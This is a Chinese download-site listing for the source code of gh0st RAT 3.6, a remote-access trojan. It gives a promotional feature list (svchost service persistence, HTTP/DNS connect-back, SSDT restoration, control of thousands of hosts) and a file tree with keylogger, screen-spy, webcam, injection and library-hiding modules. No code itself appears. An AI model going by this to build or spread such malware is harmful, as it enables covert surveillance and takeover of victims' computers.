实例介绍
gh0st RAT是红狼小组出品的一款很优秀的远程控制软件。自从红狼上次公布了gh0st 2.5版本的源代码之后,就一直没开源了,这次更新的gh0st 3.6 又再次开源 Gh0st RAT C.Rufus Security Team http://www.wolfexp.net 控制端采用IOCP模型,数据传输采用zlib压缩方式 稳定快速,上线数量无上限,可同时控制上万台主机 控制端自动检测CPU使用率调整自己的工作线程, 稳定高效 宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。 心跳包机制防止意外掉线.. 支持HTTP和DNS上线两种方式 自动恢复SSDT(这功
【实例截图】
【核心代码】
c30d8c42-0c8b-4ac7-a114-e51d62449cdb
├── common
│ ├── Audio.cpp
│ ├── Audio.h
│ ├── CursorInfo.h
│ ├── macros.h
│ ├── VideoCodec.h
│ └── zlib
│ ├── zconf.h
│ ├── zlib.h
│ └── zlib.lib
├── gh0st
│ ├── AudioDlg.cpp
│ ├── AudioDlg.h
│ ├── BmpToAvi.cpp
│ ├── BmpToAvi.h
│ ├── BuildView.cpp
│ ├── BuildView.h
│ ├── CJ60Lib
│ │ ├── CJ60Lib
│ │ │ ├── CJ60Lib.clw
│ │ │ ├── CJ60lib.cpp
│ │ │ ├── CJ60lib.def
│ │ │ ├── CJ60Lib.dsp
│ │ │ ├── CJ60Lib.dsw
│ │ │ ├── CJ60Lib.positions
│ │ │ ├── CJ60Lib.rc
│ │ │ ├── CJ60StaticLib.dsp
│ │ │ ├── CJCaption.cpp
│ │ │ ├── CJControlBar.cpp
│ │ │ ├── CJDockBar.cpp
│ │ │ ├── CJDockContext.cpp
│ │ │ ├── CJExplorerBar.cpp
│ │ │ ├── CJFlatButton.cpp
│ │ │ ├── CJFlatComboBox.cpp
│ │ │ ├── CJFlatHeaderCtrl.cpp
│ │ │ ├── CJFrameInfo.cpp
│ │ │ ├── CJFrameWnd.cpp
│ │ │ ├── CJListCtrl.cpp
│ │ │ ├── CJListView.cpp
│ │ │ ├── CJMDIFrameWnd.cpp
│ │ │ ├── CJMiniDockFrameWnd.cpp
│ │ │ ├── CJOutlookBar.cpp
│ │ │ ├── CJPagerCtrl.cpp
│ │ │ ├── CJSearchEdit.cpp
│ │ │ ├── CJSizeDockBar.cpp
│ │ │ ├── CJTabctrlBar.cpp
│ │ │ ├── CJTabView.cpp
│ │ │ ├── CJToolBar.cpp
│ │ │ ├── CoolBar.cpp
│ │ │ ├── CoolMenu.cpp
│ │ │ ├── FixTB.cpp
│ │ │ ├── FlatBar.cpp
│ │ │ ├── Globals.cpp
│ │ │ ├── Globals.h
│ │ │ ├── hyperlink.cpp
│ │ │ ├── MenuBar.cpp
│ │ │ ├── ModulVer.cpp
│ │ │ ├── readme.txt
│ │ │ ├── res
│ │ │ │ ├── btn_arro.bmp
│ │ │ │ ├── btn_explorer.bmp
│ │ │ │ ├── button_images.bmp
│ │ │ │ ├── cj60lib.rc2
│ │ │ │ ├── cj_logo.bmp
│ │ │ │ ├── hsplitba.cur
│ │ │ │ └── vsplitba.cur
│ │ │ ├── resource.h
│ │ │ ├── ShellPidl.cpp
│ │ │ ├── ShellTree.cpp
│ │ │ ├── SHFileInfo.cpp
│ │ │ ├── stdafx.cpp
│ │ │ ├── stdafx.h
│ │ │ └── Subclass.cpp
│ │ ├── Include
│ │ │ ├── CJ60Lib.h
│ │ │ ├── CJCaption.h
│ │ │ ├── CJControlBar.h
│ │ │ ├── CJDockBar.h
│ │ │ ├── CJDockContext.h
│ │ │ ├── CJExplorerBar.h
│ │ │ ├── CJFlatButton.h
│ │ │ ├── CJFlatComboBox.h
│ │ │ ├── CJFlatHeaderCtrl.h
│ │ │ ├── CJFrameInfo.h
│ │ │ ├── CJFrameWnd.h
│ │ │ ├── CJListCtrl.h
│ │ │ ├── CJListView.h
│ │ │ ├── CJMDIFrameWnd.h
│ │ │ ├── CJMiniDockFrameWnd.h
│ │ │ ├── CJOutlookBar.h
│ │ │ ├── CJPagerCtrl.h
│ │ │ ├── CJSearchEdit.h
│ │ │ ├── CJSizeDockBar.h
│ │ │ ├── CJTabCtrlBar.h
│ │ │ ├── CJTabView.h
│ │ │ ├── CJToolBar.h
│ │ │ ├── CoolBar.h
│ │ │ ├── CoolMenu.h
│ │ │ ├── FixTB.h
│ │ │ ├── FlatBar.h
│ │ │ ├── hyperlink.h
│ │ │ ├── MenuBar.h
│ │ │ ├── ModulVer.h
│ │ │ ├── ShellPidl.h
│ │ │ ├── ShellTree.h
│ │ │ ├── SHFileInfo.h
│ │ │ └── Subclass.h
│ │ ├── Lib
│ │ │ └── CJ60StaticLib.lib
│ │ ├── overview.gif
│ │ └── Readme.htm
│ ├── control
│ │ ├── BtnST.cpp
│ │ ├── BtnST.h
│ │ ├── HoverEdit.cpp
│ │ ├── HoverEdit.h
│ │ ├── WinXPButtonST.cpp
│ │ └── WinXPButtonST.h
│ ├── CustomTabCtrl.cpp
│ ├── CustomTabCtrl.h
│ ├── encode.h
│ ├── FileManagerDlg.cpp
│ ├── FileManagerDlg.h
│ ├── FileTransferModeDlg.cpp
│ ├── FileTransferModeDlg.h
│ ├── gh0st.clw
│ ├── gh0st.cpp
│ ├── gh0stDoc.cpp
│ ├── gh0stDoc.h
│ ├── gh0st.dsp
│ ├── gh0st.dsw
│ ├── gh0st.h
│ ├── gh0st.plg
│ ├── gh0st.rc
│ ├── gh0stView.cpp
│ ├── gh0stView.h
│ ├── include
│ │ ├── Buffer.cpp
│ │ ├── Buffer.h
│ │ ├── CpuUsage.cpp
│ │ ├── CpuUsage.h
│ │ ├── IOCPServer.cpp
│ │ ├── IOCPServer.h
│ │ └── Mapper.h
│ ├── IniFile.cpp
│ ├── IniFile.h
│ ├── InputDlg.cpp
│ ├── InputDlg.h
│ ├── KeyBoardDlg.cpp
│ ├── KeyBoardDlg.h
│ ├── MainFrm.cpp
│ ├── MainFrm.h
│ ├── ReadMe.txt
│ ├── Release
│ │ └── gh0st.map
│ ├── removejunk.bat
│ ├── res
│ │ ├── 1.cur
│ │ ├── 2.cur
│ │ ├── 3.cur
│ │ ├── 4.cur
│ │ ├── audio.ico
│ │ ├── Bitmap_4.bmp
│ │ ├── Bitmap_5.bmp
│ │ ├── cmdshell.ico
│ │ ├── dot.cur
│ │ ├── gh0st.ico
│ │ ├── gh0st.rc2
│ │ ├── keyboard.ico
│ │ ├── system.ico
│ │ ├── Thumbs.db
│ │ ├── toolbar1.bmp
│ │ ├── toolbar2.bmp
│ │ └── webcam.ico
│ ├── Resource.h
│ ├── ScreenSpyDlg.cpp
│ ├── ScreenSpyDlg.h
│ ├── SettingsView.cpp
│ ├── SettingsView.h
│ ├── SEU_QQwry.cpp
│ ├── SEU_QQwry.h
│ ├── ShellDlg.cpp
│ ├── ShellDlg.h
│ ├── StdAfx.cpp
│ ├── StdAfx.h
│ ├── SystemDlg.cpp
│ ├── SystemDlg.h
│ ├── TabSDIFrameWnd.cpp
│ ├── TabSDIFrameWnd.h
│ ├── ThemeUtil.cpp
│ ├── ThemeUtil.h
│ ├── Tmschema.h
│ ├── TrayIcon.cpp
│ ├── TrayIcon.h
│ ├── TrueColorToolBar.cpp
│ ├── TrueColorToolBar.h
│ ├── WebCamDlg.cpp
│ └── WebCamDlg.h
├── Server
│ ├── install
│ │ ├── acl.h
│ │ ├── decode.h
│ │ ├── install.cpp
│ │ ├── install.dsp
│ │ ├── install.dsw
│ │ ├── install.plg
│ │ ├── install.rc
│ │ ├── ReadMe.txt
│ │ ├── RegEditEx.h
│ │ ├── resource.h
│ │ ├── StdAfx.cpp
│ │ └── StdAfx.h
│ ├── svchost
│ │ ├── ClientSocket.cpp
│ │ ├── ClientSocket.h
│ │ ├── common
│ │ │ ├── AudioManager.cpp
│ │ │ ├── AudioManager.h
│ │ │ ├── Buffer.cpp
│ │ │ ├── Buffer.h
│ │ │ ├── decode.h
│ │ │ ├── Dialupass.cpp
│ │ │ ├── Dialupass.h
│ │ │ ├── FileManager.cpp
│ │ │ ├── filemanager.h
│ │ │ ├── hidelibrary.h
│ │ │ ├── inject.h
│ │ │ ├── install.cpp
│ │ │ ├── install.h
│ │ │ ├── KernelManager.cpp
│ │ │ ├── KernelManager.h
│ │ │ ├── KeyboardManager.cpp
│ │ │ ├── KeyboardManager.h
│ │ │ ├── login.h
│ │ │ ├── loop.h
│ │ │ ├── Manager.cpp
│ │ │ ├── Manager.h
│ │ │ ├── RegEditEx.cpp
│ │ │ ├── RegEditEx.h
│ │ │ ├── resetssdt.h
│ │ │ ├── ScreenManager.cpp
│ │ │ ├── ScreenManager.h
│ │ │ ├── ScreenSpy.cpp
│ │ │ ├── ScreenSpy.h
│ │ │ ├── ShellManager.cpp
│ │ │ ├── ShellManager.h
│ │ │ ├── SystemManager.cpp
│ │ │ ├── SystemManager.h
│ │ │ ├── until.cpp
│ │ │ ├── until.h
│ │ │ ├── VideoCap.cpp
│ │ │ ├── VideoCap.h
│ │ │ ├── VideoManager.cpp
│ │ │ └── VideoManager.h
│ │ ├── hidelibrary.h
│ │ ├── ReadMe.txt
│ │ ├── Release
│ │ │ ├── svchost.exp
│ │ │ └── svchost.lib
│ │ ├── resource.h
│ │ ├── StdAfx.cpp
│ │ ├── svchost.bbs
│ │ ├── svchost.cpp
│ │ ├── svchost.dsp
│ │ ├── svchost.dsw
│ │ ├── svchost.plg
│ │ └── svchost.rc
│ └── sys
│ ├── makefile
│ ├── RESSDT.c
│ └── sources
└── 临时文件清除器.bat
18 directories, 254 files
标签:
小贴士
感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明
网友评论
我要评论